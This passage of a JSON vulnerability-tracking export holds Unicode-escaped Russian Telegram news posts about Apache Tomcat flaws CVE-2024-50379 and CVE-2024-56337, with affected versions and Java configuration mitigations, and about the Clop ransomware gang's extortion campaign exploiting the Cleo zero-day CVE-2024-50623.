\u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0430 \u0441\u0447\u0435\u0442\u0443 Clop \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 MOVEit Transfer \u0438 GoAnywhere, \u0432 \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0430\u043d\u0434\u044b \u0442\u043e\u0447\u043d\u043e \u0441\u043e\u043c\u043d\u0435\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0441\u0442\u043e\u0438\u0442.\n\n\u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2025-01-17T14:15:08.000000Z"}, {"uuid": "c6a90dcc-3147-41d6-8067-b842fb496931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6582", "content": "Apache Software Foundation (ASF) \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0430\u0436\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Tomcat, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-56337 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0443\u0434\u0430\u0432\u0448\u0438\u043c\u0441\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u0440\u0443\u0433\u043e\u0439 CVE-2024-50379 (CVSS: 9,8), \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0440\u0430\u043d\u0435\u0435 17 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c \u0441 Tomcat \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043d\u0435\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443, \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e (\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f\u00bb \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 false, \u043e\u0442\u043b\u0438\u0447\u043d\u043e\u0435 \u043e\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e), \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-50379 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f Java \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441 Tomcat.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u044b \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f (TOCTOU), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043d\u0435\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443, \u043a\u043e\u0433\u0434\u0430 \u0441\u0435\u0440\u0432\u043b\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u041e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u0444\u0430\u0439\u043b\u0430 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 Tomcat \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443 \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a JSP, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a RCE.\n\nCVE-2024-56337 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache Tomcat: \n- 11.0.0-M1 \u0434\u043e 11.0.1 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 11.0.2 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438);\n- 10.1.0-M1 \u0434\u043e 10.1.33 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 10.1.34 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438);\n- 9.0.0.M1 \u2013 9.0.97 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 9.0.98 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438).\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Java:\n\n- Java 8 \u0438\u043b\u0438 Java 11: \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c\u0443 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 sun.io.useCanonCaches \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 false (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e true);\n\n- Java 17: \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e sun.io.useCanonCaches \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 false, \u0435\u0441\u043b\u0438 \u043e\u043d\u043e \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e false);\n\n- Java 21 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e.\n\nASF \u0432\u044b\u0440\u0430\u0437\u0438\u043b\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Nacl, WHOAMI, Yemoli \u0438 Ruozhi \u0437\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0431\u043e\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 KnownSec 404 \u0437\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 CVE-2024-56337 \u0441 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c PoC.", "creation_timestamp": "2024-12-25T15:20:25.000000Z"}, {"uuid": "6cc949ed-a939-469a-9ffe-a90266b77de0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/true_secator/6581", "content": "\u0412\u0437\u044f\u0432\u0448\u0430\u044f \u043d\u0430 \u0441\u0435\u0431\u044f \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u043d\u043e\u0432\u0443\u044e \u0434\u0435\u043b\u044e\u0433\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441\u043e \u0432\u0437\u043b\u043e\u043c\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Cleo, \u0431\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u043a \u0441\u0431\u043e\u0440\u0443 \u0432\u044b\u043a\u0443\u043f\u043e\u0432 \u0441\u043e \u0441\u0432\u043e\u0438\u0445 \u0436\u0435\u0440\u0442\u0432, \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e 66.\n\n\u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 DLS, \u0433\u0434\u0435 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043e \u0443\u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u044b\u043f\u043b\u0430\u0442\u044b \u043f\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435\u043c 48 \u0447\u0430\u0441\u043e\u0432.\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043d\u0438\u043c\u0438 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0442\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u043e \u0432\u044b\u043a\u0443\u043f\u0443.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0436\u0435\u0440\u0442\u0432\u044b \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0439\u0442\u0438 \u0441 \u0431\u0430\u043d\u0434\u043e\u0439 \u043d\u0430 \u0441\u0432\u044f\u0437\u044c.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u0436\u0435\u0440\u0442\u0432 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0447\u0430\u0441\u0442\u043d\u044b\u0435 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 48 \u0447\u0430\u0441\u043e\u0432 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u044b \u043d\u0435 \u043d\u0430\u0447\u043d\u0443\u0442\u0441\u044f - Clop \u043e\u0431\u0435\u0449\u0430\u0435\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0438\u0445 \u043f\u043e\u043b\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u044b \u043b\u0438\u0448\u044c \u0442\u0435 \u0436\u0435\u0440\u0442\u0432\u044b, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c, \u043d\u043e \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e \u043d\u0435 \u0431\u044b\u043b\u043e, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c \u043e \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u043e\u0445\u0432\u0430\u0442\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0435\u0439 Cleo.\n\n\u0412\u043e\u043e\u0431\u0449\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0430\u0442\u0430\u043a\u0430 \u0441\u0442\u0430\u043b\u0430 \u0435\u0449\u0435 \u043e\u0434\u043d\u0438\u043c \u043a\u0440\u0443\u043f\u043d\u044b\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c Clop, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0440\u0430\u0437 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u043c\u0435\u043b\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0442\u044c\u0441\u044f 0-day \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Cleo LexiCom, VLTransfer \u0438 Harmony \u0434\u043b\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0435\u0442\u0435\u0439 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439.\n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0432 \u043f\u043e\u0441\u043b\u0443\u0436\u043d\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0443\u043b\u0438 \u0432 \u041f\u041e: Accellion FTA,\u00a0GoAnywhere MFT\u00a0\u0438\u00a0MOVEit Transfer, \u0430 \u0442\u0430\u043a\u0436\u0435 SolarWinds Serv-U FTP.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043d\u0443\u043b\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-50623 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0434\u043b\u044f Cleo Harmony, VLTrader \u0438 LexiCom \u0432\u0435\u0440\u0441\u0438\u0438 5.8.0.21, \u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b \u0432 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u044e \u043a\u043b\u0438\u0435\u043d\u0442\u0443\u0440\u0443 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u043e\u0442 0-day \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e,\u00a0Huntress \u0434\u0430\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c, \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 PoC, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0432 \u0432\u0441\u0435 \u0441\u0432\u043e\u0438 \u0432\u044b\u0432\u043e\u0434\u044b.\n\n\u041d\u043e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c.\n\n\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0441\u043f\u0443\u0441\u0442\u044f \u0431\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop \u0443\u0436\u0435 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-50623 \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430 \u0435\u0435 \u0441\u0447\u0435\u0442\u0443.\n\n\u0422\u043e\u0433\u0434\u0430 \u0436\u0435 Clop \u043f\u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0430 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 DLS \u043f\u043e \u0441\u0432\u043e\u0438\u043c \u043f\u0440\u043e\u0448\u043b\u044b\u043c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c, \u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043c\u0435\u0441\u0442\u043e \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0439, \u043a\u0443\u0434\u0430 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Cleo.\n\n\u041f\u043e\u043a\u0430 \u0435\u0449\u0435 \u043d\u0435 \u0432\u0441\u0435\u0445, \u043d\u043e \u0435\u0441\u043b\u0438 \u0443\u0447\u0435\u0441\u0442\u044c, \u0447\u0442\u043e \u041f\u041e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 4000 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443 - \u0441\u043f\u0438\u0441\u043e\u043a \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043f\u043e\u043b\u043d\u044f\u0442\u0441\u044f.\n\n\u0411\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-12-25T13:00:06.000000Z"}, {"uuid": "9e07b8a4-4ca4-4c37-aa87-a14db90f4d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/true_secator/6804", "content": "Google 